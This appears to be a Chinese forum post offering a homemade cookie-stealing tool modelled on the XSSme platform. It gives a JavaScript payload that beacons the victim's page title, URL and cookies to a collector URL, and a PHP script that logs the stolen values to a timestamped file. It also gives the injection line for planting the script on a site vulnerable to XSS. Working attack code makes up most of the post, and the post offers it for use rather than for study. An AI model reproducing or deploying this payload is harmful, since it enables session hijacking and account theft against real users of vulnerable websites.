怎么说呢，我也用过xssme，感觉的确不错。还可以共享。但是我感觉就如果你自己一个人想使用，那些功能未免太过冗余。所以我写了个相当于xssme中默认模块的一个工具给大家看下。以生成文件为保存方式。大牛勿喷。
window.onload = function () {
var url = "http://127.0.0.1/test/js/jsbase/xss.php";
(function () {
(new Image()).src = url + "?title="+encodeURI(document.title) + "&url=" + encodeURI(document.URL) + "&cookie=" + encodeURI(document.cookie);
})();
}
这是js 记得你测试的时候修改一下url变量的内容即可。
<?php
$text = str_replace(":", "-", date("Y-m-d-H:i:s-")."cookie.txt");
$fp = fopen($text, "w");
foreach ($_GET as $key => $value) {
fwrite($fp, $key." --> ".urldecode($value)."\r\n");
}
fclose($fp);
?>
看的出将js请求过来的get参数以键值对保存到文件中。
用法将这两文件保存在你空间同一目录中，然后在可以xss利用的网址 <script src="http://www.xxx.com/test.js"></script>即可 ，过滤、或者各种插xss的姿势不是本文的重点
最后就会生成如下文件
